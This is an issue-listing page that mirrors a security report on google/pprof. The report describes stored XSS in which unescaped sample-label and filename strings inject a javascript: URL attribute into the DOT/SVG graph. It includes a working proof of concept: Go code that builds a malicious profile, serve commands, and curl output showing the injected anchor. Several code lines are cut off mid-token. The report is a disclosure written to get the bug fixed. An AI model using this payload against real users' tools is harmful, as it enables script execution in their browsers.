Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

Stored XSS in pprof -http: a malicious profile's sample label/filename is put into the DOT graph without escapeForDot(), injecting URL="javascript:..." that Graphviz renders as a clickable SVG link.

Open
#1,020 1 comment 0 reactions 0 assignees View on GitHub

Maintainers usually reply within 1 day

Nobody has claimed this yet.

Assessment

Difficulty
3/5
Estimated time
1-2 days
Newbie friendliness
74/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
go
Domain
security

Research direction

Start in internal/graph/dotgraph.go at addNodelets, numericNodelets, and multilinePrintableName, then compare their interpolations with the sibling paths that call escapeForDot(). Inspect internal/driver/webui.go to understand the raw SVG embedding. Done means profile-derived label and filename values can no longer create injected DOT attributes or javascript SVG links; verify with focused graph output tests or the supplied proof of concept.

Written by the indexing model from the issue text.

Description

Summary

pprof -http serves a web UI that renders an untrusted profile (developers routinely open profiles
downloaded from CI, production /debug/pprof, bug reports, or colleagues). The graph view builds a Graphviz
DOT document from profile-derived strings, runs dot -Tsvg, and embeds the SVG raw (template.HTML). Two
string fields - a sample label and a function filename are interpolated into DOT without the
escapeForDot() output-encoding that the sibling label/tooltip/edge paths use. A " in the attacker's value
closes the DOT label="…" string early, letting the attacker inject a real DOT attribute
URL="javascript:…". Graphviz turns that into an SVG <a xlink:href="javascript:…">, which renders in the
pprof web origin. Result: stored XSS - a developer who opens a malicious profile and clicks the graph node
runs attacker JavaScript in the pprof UI origin.

Affected component

  • Project: google/pprof - https://github.com/google/pprof
  • File / functions:
    • internal/graph/dotgraph.go:250 addNodelets (and :277 numericNodelets) - F1, sample-label tag name
    • internal/graph/dotgraph.go:393 multilinePrintableName (File component) - F2, Function.Filename
    • Rendered raw at internal/driver/webui.go:342 HTMLBody: template.HTML(string(svg))
  • Verified on: current main, commit 4d45320 (built from source).
  • Type / severity: Stored XSS (CWE-79) via improper output encoding (CWE-116); High.

Root cause

The graph is emitted as Graphviz DOT by string-formatting profile text into attr = "value" statements.
addNodelets does:

nodelets += fmt.Sprintf(`N%d_%d [label = "%s" id="%s" fontsize=8 shape=box3d tooltip="%s"]`,
    ..., t.Name, ..., t.Name)          // t.Name interpolated RAW, no escapeForDot()

t.Name is the attacker-controlled sample label (key:value, stored verbatim by joinLabels() /
findOrAddTag, internal/graph/graph.go). pprof's DOT encoder escapeForDot() escapes "→\" (and \,
newlines) specifically to stop a quote from terminating a DOT string, and the node/edge label/tooltip paths
call it (dotgraph.go:129,190,308,309,386). The two nodelet paths (and the File component at `:3
it** - an incomplete-escaping defect.

Mechanism (stage by stage)

  1. Attacker sets a Sample.Label key to: t" URL="javascript:alert(document.domain)" y="

  2. Stored verbatim as the tag Name (no escaping).

  3. Interpolated raw into DOT:

    N1_0 [label = "t" URL="javascript:alert(document.domain)" y=":v" ... ]
                     ^ this quote closes label="t" early
    

    Graphviz then parses URL="javascript:alert(document.domain)" as a legitimate node attribute.

  4. dot -Tsvg copies the URL attribute verbatim into an SVG hyperlink:

    <g id="a_N1_0"><a xlink:href="javascript:alert(document.domain)" xlink:title="5"> ... </a>
    
  5. pprof embeds the SVG raw via template.HTML(string(svg)) (escaping bypassed; no Content-Securi on /uiresponses; the web path does not run the CLI'smassageSVG` sanitizer).

  6. The <a href="javascript:…"> is in the pprof origin's DOM; activating the node (a click - norma
    navigation) executes the attacker's JS in that origin.

Proof of Concept

Step 1 - build a malicious profile with the github.com/google/pprof/profile package. gen_xss.go:

package main
import ("os"; "github.com/google/pprof/profile")
func main() {
  // sample-label KEY that breaks out of the DOT label string and injects URL="javascript:..."
  key := "t\" URL=\"javascript:alert(document.domain)\" y=\""
  m := &profile.Mapping{ID:1, File:"/bin/app"}
  fn := &profile.Function{ID:1, Name:"legit_func", Filename:"/src/app.go"}
  loc := &profile.Location{ID:1, Mapping:m, Address:0x1000, Line:[]profile.Line{{Function:fn, L
  st := &profile.ValueType{Type:"samples", Unit:"count"}
  p := &profile.Profile{
    SampleType:[]*profile.ValueType{st}, DefaultSampleType:"samples",
    Mapping:[]*profile.Mapping{m}, Function:[]*profile.Function{fn}, Location:[]*profile.Locati
    Sample:[]*profile.Sample{{Location:[]*profile.Location{loc}, Value:[]int64{5},
                              Label: map[string][]string{key: {"v"}}}},
  }
  f,_ := os.Create("evil_xss.pb.gz"); defer f.Close()
  if err := p.Write(f); err != nil { panic(err) }
}

Step 2 - generate and serve (requires Graphviz dot installed):

go mod init poc && go get github.com/google/pprof/profile
go run gen_xss.go                       # writes evil_xss.pb.gz
go run github.com/google/pprof@latest -http=127.0.0.1:8088 evil_xss.pb.gz

Step 3 - verify (no browser needed): the injected anchor is in the default graph view:

curl -s http://127.0.0.1:8088/ui/graph | grep -o '<a xlink:href="javascript:[^>]*'
# -> <a xlink:href="javascript:alert(document.domain)" xlink:title="5"

Step 4 - in a browser, open http://127.0.0.1:8088/ui/graph and click the small tag/box node → alert(document.domain) executes in the pprof origin.

Observed live output (google/pprof HEAD 4d45320, with Graphviz):

### GET /ui/graph (default view) - injected anchor:
<a xlink:href="javascript:alert(document.domain)" xlink:title="5">
Dominant language
Go
Stars
9.3k
Forks
678
Avg merge
2d 6h
Merged PRs (30d)
10

Getting set up

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from google/pprof

All issues in google/pprof

Similar issues

More Go issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.